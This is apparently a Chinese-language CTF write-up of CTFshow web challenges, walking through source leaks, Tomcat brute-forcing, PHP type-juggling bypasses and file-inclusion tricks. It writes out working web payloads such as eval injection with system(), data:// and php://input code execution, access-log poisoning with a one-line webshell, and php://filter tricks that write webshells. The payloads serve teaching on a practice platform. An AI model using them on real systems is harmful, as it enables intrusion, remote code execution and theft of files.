CTFSHOW-web

web入门

一、信息收集

web1

f12查看源码

web2

题目提示我们:js前台拦截 === 无效操作,这种情况下多半是利用率JavaScript函数禁用了部分查看源码的方式,这里依旧直接view-source:即可绕过JavaScript前台拦截查看源码





























 

view-source是一种协议,在浏览器上直接查看网站源码

解题思路:右键以及F12被禁用的情况下,可以在url头部加上***view-source:***查看网页源码。

web3(协议头信息泄露)




























 

访问index.php也没有反应

看到提示说抓包

这就尝试抓包



























 

ctfshow{00940219-dee4-4a30-b8b4-5deee1dcf1e3}


























 

go一下就得到flag

web4(robots后台泄露)




























 

 解法:

访问robots.txt,得到flagishere.txt信息,访问即可


web5(phps源码泄露)


























 

 phps源码泄露

什么是phps文件?

phps文件类型主要由php组与php源关联。通常,php文件将由web服务器和php可执行文件解释,您将永远看不到php文件背后的代码。如果将文件扩展名设为.phps,配置正确的服务器将输出源代码的彩色格式版本,而不是通常生成的HTML。并非所有服务器都是这样配置的。

也就是说,通过phps可以看到php代码未被解析的源代码

所以

拿到flag

index.phps是由于非正常关闭而产生的一个隐藏文件






















 

web6 (源码压缩包泄露)

题目提示:解压源代码到当前目录,一开始没有明白啥意思,抓包扫后台一通操作后没有啥结果,查了一下,才发现意思是说可能含有网站备份源码在当前目录下,测试一下/WWW.zip /www.zip(之前做buuctf的时候有一道反序列化题是网站备份WWW.zip),发现是/www.zip,直接下载压缩包解压即可

























 
























 

 拿到flag,才怪

是个假flag

 源码有提示flag在这个文件但是实际上并没有,所以尝试着去网站访问

算是一个小经验吧,如果txt拿到是一个假flag,那么可以尝试在网页去访问一下这个文件

讲解视频:

web入门-web5-6 源码泄露_哔哩哔哩_bilibili

























 

其他常见的打包文件的文件


web7&8(版本控制泄露源码)























 

.git(多人协作版本控制系统)文件夹包含项目在版本控制中所需的所有信息以及有关提交,远程存储库地址等的所有信息.所有这些信息都存在于此文件夹中.它还包含一个存储您的提交历史记录的日志,以便您可以回滚到历史记录. 

以“.”开头的文件在linxu下属于隐藏文件,在终端操作的时候可能会由于忽略了这个文件,错误地将其部署到网站的更目录上造成网站信息的泄露。

即可得到flag

Git是一个开源的分布式版本控制系统
git代码泄露,git上传代码会在目录创建隐藏文件夹.git
访问/.git/得flag






















 























 

SVN是subversion的缩写,是一个开放源代码的版本控制系统
访问/.svn/得flag












 

一般版本控制泄露源码的题目就是这两种啦



 

web9 vim 临时文件泄露


 

题目描述: 发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了

swp文件介绍
vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件。这个文件是一个临时交换文件,用来备份缓冲区中的内容。如果原文件名是data,那么swp文件名就是.data.swp。如果文件正常退出,则此文件自动删除。需要注意的是如果你并没有对文件进行修改,而只是读取文件,是不会产生swp文件的。

所以hint的意思就是打开index.php.swp
在这里插入图片描述
打开文件,得到 flag 。
在这里插入图片描述


 




 

爆破
web21

hint这里提示了这道题目是一道 tomcat认证爆破

那么,首先,什么是tomcat呢

  tomcat是一个免费的,开放源代码的Web应用服务器,是Apache软件基金会项目中的一个核心项目,由Apache ,Sun和一些公司以及个人共同开发而成,深受Java爱好者的喜爱,是一款比较流行的web应用服务器。

        tomcat如果开放后台登录地址,管理人员未设置访问权限可以利用口令爆破登录管理地址。

这个就是解题的关键!我们可以用爆破来得到账号密码从而登录。

我的参考:

Tomcat 认证爆破_-stem-的博客-CSDN博客

CTFShow Web入门_爆破_F4tty的博客-CSDN博客_ctfshow web



tomcat 认证爆破之custom iterator使用 - 007NBqaq - 博客园

尝试抓包

 发现有base64编码

decode之后发现是11:11

也就是说用户名与密码之间的格式是

用户名:密码

以base64的形式传输






















 





















 

send to intruder

自定义迭代器可以自定义拼接方式,position的位置即为我们的拼接方式,根据上述base64解码的tomcat密码的格式:用户名:密码 ----->则position的位数为3

之后的具体内容就看博客就好

这里有几个注意点:

·导入字典的时候记得解压缩,不然可能会出现乱码

·由于结果会被base64编码,所以我们也需要把攻击的密码进行编码

关闭url编码(有了base64编码就不要再来一个编码了)





















 






















 






















 

一般长度不同的比较可以,

可以尝试点开,然后send to repeter

go一下






















 

 拿到flag,也可以

把得到的base64编码解码






















 

 这个在网页输入框输入照样也可以得到flag

PHP特性

web89(数组绕过)

 <?php

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
} 

get传参得到变量num

成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。

又要是整数,又不能匹配到0-9任何一个数字

解答:
1)绕过preg_match()。

可以利用数组绕过,因为preg_match只能处理字符串,所以当传入的subject是数组时会返回false。

2)intval()用于获取变量的整数值。
intval()不能用于object和array,否则会产生E_NOTICE错误并返回1。

所以数组可以满足所有限制条件。

payload:?num[]=1






















 

web90(进制转换)




















 

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

 又是这个函数,

intval($num,0)===4476

返回变量 var 的 integer 数值

那就是说,我输入的num不可以有4476但是你integer出来的结果又必须是int型

所以intval是支持不同的进制的,这里base指定是0,那么intval会根据我们输入情况使用进制,

所以这里我就就可以用16进制或八进制表示4476

payload:
?num=0×117c    //十六进制
?num=010574    //八进制

或者

intval取的是我们所输入内容开头的整数,也就是说我们传入含有字符的字符串,例如?num=4476a,那么intval(“4476a”)也等于4476

?num=4476a    //字符串

web91(换行绕过)

<?php

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){  //不区分大小写多行匹配
    if(preg_match('/^php$/i', $a)){  //职匹配一行
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
} 

观察正则表达式

  • 第一个:'/^php$/im',$匹配输入字符串的结尾位置,匹配php且后面的修饰符有个m,表示多行匹配
    在这里插入图片描述
  • 第二个:'/^php$/i'相比下没有了多行匹配

CTFshow php特性 web91_Kradress的博客-CSDN博客

这位师傅写的就很不错!

可以在hackbar里面url编码换行符,编码完是%0a

payload:?cmd=php%0a1111




















 

web92

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

 PHP的强比较与弱比较

PHP intval() 函数

intval() 函数用于获取变量的整数值。

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

int intval ( mixed $var [, int $base = 10 ] )

重点是intval的第二个参数base,base=0时,intval会自动探测num的进制

Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。

intval('4476.0')===4476    小数点  
intval('+4476.0')===4476   正负号
intval('4476e0')===4476    科学计数法
intval('0x117c')===4476    16进制
intval('010574')===4476    8进制
intval(' 010574')===4476   8进制+空格

采用16进制绕过

八进制绕过

 拿到flag




















 

web93

 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

这道题相比于上一道多了一个条件

if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }

加了个正则匹配,不能出现字母,使用8进制绕过即可

 拿到flag

web94

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

strpos() f函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。

注释:strpos() 函数是区分大小写的。

注释:该函数是二进制安全的。

相关函数:

  • strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
  • stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
  • strripos() -查找字符串在另一字符串中最后一次出现的位置(不区分大小写)



















  •  

 这道题相对于上一道又多了一个条件,就是要匹配到有0

时刻要注意num是个字符串,只要在4476后面用字符截断,即可绕过弱类型比较。关键是多了个strpos,这个函数的位置很巧妙,它要求num中必须有0,但还不能在开头,所以传入一个浮点数:

 如果开头出现了0,返回的会是0!

而且

if($num==="4476"){
        die("no no no!");

这个是强比较类型,4476.0和字符型4476无法匹配,所以可以绕过第一个。

web95(空格\回车+八进制绕过)

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){  //i是不区分大小写的意思
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

和web94相比,去屑在与第一个条件判断从“===”变为“==”,而且不可以有小数点

1. 值不能是4476
2. 不能含有字母
3. 值中必须有0,但第一个数字不能是0
4. intval($num,0)===4476
5. 不能有小数点

intval,php函数intval() 函数用于获取变量的整数值。变量不能是array和object格式 int intval ( mixed var , int [base] )第二个参数只有变量是字符串的时候才有用,var 可以是任何标量类型。intval() 不能用于 array 或 object。base 是 0,通过检测 var 的格式来决定使用的进制

!!!因为==号只能判断数字是否相等,不能进行进制转换

第二个有过滤".",故只能进行进制转换绕过,而且只能是八进制(十六进制是0x开头有字母)

payload:     
?num= 010574  //注意开头的空格
?num=%0a010574(&0a换行符绕过,pregmatch会解析PHP,这个时候%0a是一个整体)
?num=%20010574(%20是空格的URL编码)
?num=+010574
?num=%09010574
?num=%2b010574 (%2b是+的url编码) 
intval 会对以+或空格开头数字当作正数处理

web96(相对路径绕过)

<?php



highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

很明显不可以

新知识get!

在linux下面表示当前目录是 ./ 

所以尝试用相对目录:

payload:
?u=./flag.php
payload:?u=php://filter/convert.base64-encode/resource=flag.php
	    ?u=php://filter/resource=flag.php
//或者利用伪协议和编码

不过base64得出来的结果需要解码

web97(md5强类型绕过)

参考博客:

MD5加密漏洞(MD5绕过方式-0e绕过/数组绕过/MD5碰撞/MD5SQL注入)_士别三日wyx的博客-CSDN博客_md5漏洞

<?php


include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?> 

·用post的方法获得参数a和b

·a与b不相等,但是a与bmd5的值相等

强类型比较,不仅比较值,还比较类型,0e会被当做字符串,所以不能用0e来进行
但是我们可以用MD值完全相同的字符来进行绕过


















 

所以没有办法用0e开头的字符串

那就是数组绕过

 比如将两个数组的md5值进行比较

md5(a[]=1) === md5(b[]=1)

由于md5函数无法处理数组,会返回null,所以md5加密后的结果是下面这样

null === null

结果返回true,也就是说数组的md5值进行比较时,结果相等

payload:

a[]=1&b[]=2

注意啦,一个“&”就够啦

web98(三目运算符的理解+变量覆盖)

<?php

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
//如果有GET方法传参,就将$_POST变量的地址赋值给$_GET;用post覆盖get中的值;第一个说只要有GET传参就指向POST,所以随便传个啥都行,重要的是post的内容
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
//中间两行不重要,因为get传入的内容并不是很重要
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
//意思:如果有通过GET方法传参'HTTP_FLAG=flag',就highlight_file($flag)。否则highlight_file(__FILE__)显示当前页面;但是get传入的东西最终会被post覆盖,所以;只需要有get存在即可,同时post传入HTTP_FLAG=flag就可以了

?> 


















 

 三目运算符的特点;

传地址“&”

    &是引用符号,意思是:不同的名字访问同一个变量内容。php的引用是在变量或者函数、对象等前面加上&符号,PHP 的引用允许你用两个变量来指向同一个内容


只需要有get存在即可,同时post传入HTTP_FLAG=flag就可以了

payload:

即可拿到flagweb116

web99

<?php
 
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
 
?>

首先来理解一下代码的意思叭

·array() 函数用于创建数组

十六进制0x36d转为十进制是877  (13+6*16+3*256)

·array_push() 将一个或多个单元压入数组的末尾(入栈)











 

·rand(min,max)在最大和最小值之间产生一个随机数

$allow = array();
for ($i=36; $i < 0x36d; $i++) {
    array_push($allow, rand(1,$i));
}

这一部分的意思就是:创建一个数组allow,做877-36次循环,每次循环做的事从(1~i)之间产生一个随机数放到数组allow中












 

in_array (needle,haystack,strict) 检查数组中是否存在某个值

在大海(haystack)中搜索针( needle),如果找到 needle 则返回 true,否则返回 false。

用get的方式获得参数“n”,用post的方式获得参数“content”,传入的n必须要是数组allow中的一个数值











 

if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}










 

web100

 <?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
?>

 题目解读:(巴拉巴拉:短短的一道题考的内容还真不少)

1、

2、eval() 函数把字符串按照 PHP 代码来计算。(注意:要执行的php代码无需加<? php ?>)

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

注释:return 语句会立即终止对字符串的计算。
·用get方式得到v1,v2,v3;其中v2不可以有“;”,语句三必须要有“;”

·执行语句$v2('ctfshow')$v3

3、!!!知识点:php中要输出类是没有办法直接echo的,需要用到

var_dump() 函数用于输出变量的相关信息。

var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

4、逻辑运算符与算术运算符的优先级

PHP中and、&&、or、||与=的优先级区别

优先级:

&& > || > = > and > or

<?php
$test1 = true && false;
$test2 = true and false;
$test3 = true || false;
$test4 = true or false;
var_dump($test1);
var_dump($test2);
var_dump($test3);
var_dump($test4);
?>
//结果:bool(false) bool(true) bool(true) bool(true) 

因为运算符的优先级为&&>||>=>and>or
所以在执行第二行时,会先将true赋值给$test2,再与false进行and运算。
而第一行代码会先进行&&运算,然后将运算的结果false,赋值给$test1。
同理:第四行会先将true赋值给$test4,然后再与false进行or运算;
而第三行会先进行||运算,然后将运算的结果true赋值给$test3.










 

在这道题里的运用体现为:

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){

由于先赋值再and运算,所以只要保证$v1是字符或者数字即可

flag在ctfshow类里面,应该是里面定义过的变量,想办法打印里面的变量就好了

解法1:

所以只要保证v1是数字就可以使得v0为true,从而进入if中;v2里面不能有分号v3里面要有分号

?v1=1&v2=system('tac ctfshow.php')&v3=;

第一个payload是这样子的,但是我觉得有点怪怪



本地测试,这个命令传入之后是这样子的,难道(‘ctfshow’)不会引起报错吗???

?v1=1&v2=system('tac ctfshow.php')/*&v3=*/;

我个人不是很理解,所以加了注释符号得出来的结果也是没问题的

测试之后发现,不加注释符会报错但是能执行,问题不大











 










 

 最好还是加上,就是只要有完整的命令,后面的语句报错也是可以执行的;也正因为如此,php漏洞才多

解法2:

这道题其实是考察反射类ReflectionClass,可以看官方的例子了解一下

反射类其实也就是对类的映射

ReflectionClass::getProperties()函数是PHP中的内置函数,用于返回反射属性的数组。

用法:

ReflectionClass::getProperties($filter) : array

参数:此函数接受一个参数过滤器,该过滤器有助于除去某些反射的属性。

返回值:此函数返回反映的属性的数组。


然后输出这个类即可,也就是构造出 echo new ReflectionClass('ctfshow');

大概就是这道题真正想考的考点:输出类

payload:?v1=1&v2=echo new ReflectionClass&v3=;

传入后的指令为:











 

 得到flag

借鉴:


    反射类的学习

        <?php
        class A{
        public static $flag="flag{123123123}";
        const  PI=3.14;
        static function hello(){
            echo "hello</br>";
        }
        }
        $a=new ReflectionClass('A');
         
         
        var_dump($a->getConstants());  获取一组常量
        输出
         array(1) {
          ["PI"]=>
          float(3.14)
        }
         
        var_dump($a->getName());    获取类名
        输出
        string(1) "A"
         
        var_dump($a->getStaticProperties()); 获取静态属性
        输出
        array(1) {
          ["flag"]=>
          string(15) "flag{123123123}"
        }
         
        var_dump($a->getMethods()); 获取类中的方法
        输出
        array(1) {
          [0]=>
          object(ReflectionMethod)#2 (2) {
            ["name"]=>
            string(5) "hello"
            ["class"]=>
            string(1) "A"
          }
        }
————————————————
版权声明:本文为CSDN博主「_Monica_」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_46918279/article/details/120667769

解法3:
也就是一般的对类的输出var_dump() 函数

payload:?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

最后,这道题还有一个坑解释0x2d要转成“-”

$flag_is_614906510x2d0f7c0x2d44330x2db6be0x2dd09c4a8240cd;

web101

<?php


highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?> 

和上一道题一样,考点都是反射类;但是不同点在于这道题过滤了很多东西

首先明确$v1是数字,在发现过滤了那么多字符之后可以确定,这道题应该就只能用反射类的解法啦;








 

payload:

/?v1=1&v2=echo new ReflectionClass&v3=;





 


web102


这道题有点意思,也需要一些脑洞



 

 <?php


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


?>

用post方式传入参数v1,用get方式传入参数v2,v3,而且v2与v3都必须是数字或数字字符串(也就是只能含有数字,或者字符串型的数字)

v4=v2 and v3

接下来是各个函数的作用:




 

substr()  返回字符串的子串
·substr(string,start,length);

·length参数:

可选。规定要返回的字符串长度。默认是直到字符串的结尾。

  • 正数 - 从 start 参数所在的位置返回
  • 负数 - 从字符串末端返回

call_user_func() 第一个参数 callback 是被调用的回调函数名,其余参数是回调函数的参数

file_put_contents() 将数据写入文件,这个数据可以是一个数据流

hex2bin 转换十六进制字符串为二进制字符串(即ascii码)




 




 




 




 




 

is_numeric() 函数用于检测变量是否为数字或数字字符串。
数字字符是字符类型,是按照字符串的处理方式处理字符,是占位符为%c,那也就是包括了ASCII码里的内容



 

结合函数分析可以得出:

    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
//将字符串$s调入函数v1中
    file_put_contents($v3,$str);

$v2是写入文件的一个数字字符串,$v1是一个将数字转换为字符串的函数,$v3是一个文件名

首先我们看到file_put_contents函数要条件反射
1.它可以配合伪协议

file_put_contents()

//用来写文件进去,其中文件名参数是支持伪协议的,用于将第二个参数content进行过滤器后再写进文件里面去

file_put_contents($_POST['filename'], "<?php system($_GET['c']);?>");

v3得是一个文件,写入一些命令执行的东西,那我们可以通过伪协议直接生成文件

文件内容不好控制,但是可以利用伪协议将内容进行编码转换。所以如果能找到一条php语句经过base64编码,在转换为16进制之后如果全部都是数字不就可以通过了吗?



 





 

参考博客:

CTFSHOW-PHP特性__Monica_的博客-CSDN博客_ctfshowphp特性

payload:
$a='<?=`cat *`;';        //这里虽然``反引号无回显,但是短标签自带echo
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64

最终payload:




  1.  

    最终payload:
    
        GET:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php 
        POST:v1=hex2bin

     (这里会把e当作科学计数法)





 




 

这就是为什么v3可以不用时数字的原因,“=”优先级高于“and”但“=”优先级低于“=”







 

三、文件包含









 

















 

web78

 <?php


if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
} 

考察php伪协议

php://伪协议:
php://伪协议是PHP提供的一些输 人输出流访问功能,允许访问PHP的输入输出流,标准输人输出和错误描述符,内存中、磁盘备份的临时文件流,以及可以操作其他读取和写人文件资源的过滤器。

?file=php://filter/convert.base64-encode/resource=flag.php
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0xNiAxMDo1NToxMQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMTYgMTA6NTU6MjANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3s0ZjBjMzJjNi1iY2QxLTQ3NDYtYWUwNi1mMjEyMzc4YjQ1Nzh9Ijs=

解码,拿到flag

$flag="ctfshow{4f0c32c6-bcd1-4746-ae06-f212378b4578}";

web79

下一步再用同样的命令访问flag.php即可

 

data://伪协议(数据流封装器开始有效,主要用于数据流的读取。如果传人的数据是PHP代码,就会执行任意代码)

使用方法如下:

data://text/plain;base64,XXXXXX(base64编码后的数据)

本题目中要用data://伪协议传送 <?php system(' cat flag. php') ;?>

虽然说是不要闭合,但是貌似闭合了也没关系

还有另一种解法




















 




















 

换data协议,绕过php

?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

用这个方法要注意flag要f12查找才能拿到!!!

web80

源码

 <?php


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

这个源码过滤了php伪协议和data伪协议

尝试了一下file协议结果不行

于是尝试

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。】

传入指令即可




















 

看一下目录

接下来尝试访问fl0g.php

 

 

 这道题给我一个经验就是,不要觉得没回显显示就觉得不成功,最好是f12查看一下有没有在源码里,因为很可能被注释了

web81

 <?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

在原来的基础上连“:”也过滤了,大部分的协议都是要有“:”的,所以这也暗示我们要用其他方法了;而且因为过滤了“:”所以远程文件包含也用不了啦

这里尝试:包含日志

日志包含漏洞原因:

某php文件存在本地文件包含漏洞,但无法上传文件,利用包含漏洞包含Apache(看服务器是Apache还是nginx)日志文件也可以获取WebShell

注意:需要开启服务器记录日志功能

访问日志的位置和文件名在不同的系统上会有所差异

apache一般是/var/log/apache/access.log。:

nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

Apache运行后一般默认会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),Apache的访问日志文件记录了客户端的每次请求及服务器响应的相关信息。

原理:当我们访问网站时,服务器的日志中都会记录我们的行为,当我们访问链接中包含PHP一句话木马时,也会被记录到日志中。

当访问一个不存在的资源时,Apache日志同样会记录 例如访问http://127.0.0.1/<?php phpinfo();?>。Apache会记录请求“<?php phpinfo();?>”,并写到access.log文件中,这时候去包含access.log就可以利用包含漏洞
















 

首先,通过User-Agent头部注入命令

 然后将日志包含进去,并通过POST参数执行命令:

同时还要post传入一句话木马内容

包含日志

?file=/var/log/nginx/access.log

 现在看到目录下有fl0g.php

读取文件post

a=system('cat fl0g.php');

如果回显没什么特点,可以在查看器那里有surprise

查到另一种写法好像比较便捷

 就是不利用参数,直接把命令写入一句话木马

补充:

[NSSCTF]上有一道题












 

<?php 
//WEB手要懂得搜索 

if(isset($_GET['file'])){ 
    $file = $_GET['file']; 
    if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){ 
        die("error"); 
    } 
    include($file); 
}else{ 
    highlight_file(__FILE__); 
} 

过滤php,data,data

想了很久,最终还是日志包含

不过,

 我看到页面没有回显flag,就以为方法不对

但其实一句话木马注入之后就蚁剑连接即可













 













 

web83~86(条件竞争)今晚做

web87(文件写入)

 <?php



if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
} 

·用get方式获得文件,用post方式获得内容

·文件名需要url编码

本题同样时过滤了php data : .
由于urldecode函数的存在,可以两次url加密file变量,传入变量后,服务器会自动解码,再进行判断是否存在违规字符,再进行一次urldecode,即绕过过滤
本题需要绕过die函数,不然会提前终止程序

方法一:base64编码

?file=php://filter/write=convert.base64-decode/resource=2.php

写入flag.php的内容是

<?php die('大佬别秀了');?>+$content

我们需要绕过die函数

base64解码时,是4个为一组,flag.php的内容<?php die('大佬别秀了');?>中phpdie会参与base64解码,因为phpdie只有6个字节,补两个a就是8字节了

所以先补上两个字母eg:aa

content=<?php system('tac f*.php');?>

base64编码

写入的文件内容

<?php die('大佬别秀了');?>PD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=

补两个a

content=aaPD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=

这样就会使得die函数也被base64编码,无法正常使用

file需要两次url全编码

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30

 (*bp的注意事项,get传参的位置,有post传参如果显示的是get,需要右键修改请求方式

跑了之后没有回显怎么办

试试回到浏览器

访问刚刚传上去的文件2.php

拿到flag

注意content最后的base64编码等号很容易被编码,所以最好还是用bp抓包

web88

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
} 

过滤了

php ~   、!  、@#  $%  、  、&    、*    、(     、+ .

发现过滤了好多字符,但所幸“:”“/”没有被过滤,所以协议可以使用

用因为php被过滤了,所以可能读取文件的没办法用,直接执行指令吧

?file=data:text/plain,<?php system('cat flag.php');?>

因为会过滤,所以base64加密


















 



















 

?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

或许是因为等号这里传输一直不成功

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg

只有这个成功了


web116



















 

题目提示LFI:local file include 本地文件包含 +misc

打开后是一段vedio

尝试把vedio下载下来


















 

 发现里面藏着一张png图片

​ 拿到源码;

过滤了很多字符,分析可知需要file传参,如果不传参就会播放sp2.mp4的视频。
代码中的file_get_contents()可以直接读取文件。

如果不传参:isset结果为0,执行sp2.mpa

如果传参不为空就正常接收file

网页传参已知不可以,试试抓包

payload:

没有说文件放哪里,所以猜测根目录

?file=flag.php

看到还有另一种方法


















 

















 

因为过滤了很多伪协议

所以用了这个不太常见的协议

补充:

(1)compres.bzip2://

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

compress.bzip2和compress.zlib访问的对象可以是任意后缀的文件。
格式compress.bzip2://相对路径或绝对路径
限制条件:

allow_url_fopen :on/off

allow_url_include:on/off

相对路径/绝对路径
利用姿势:

1.读取文件

2.在使用include、require、include_once、require_once时,可将文件当做php脚本执行(一般配合上传文件getshell)。


(2)compress.zlib://

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

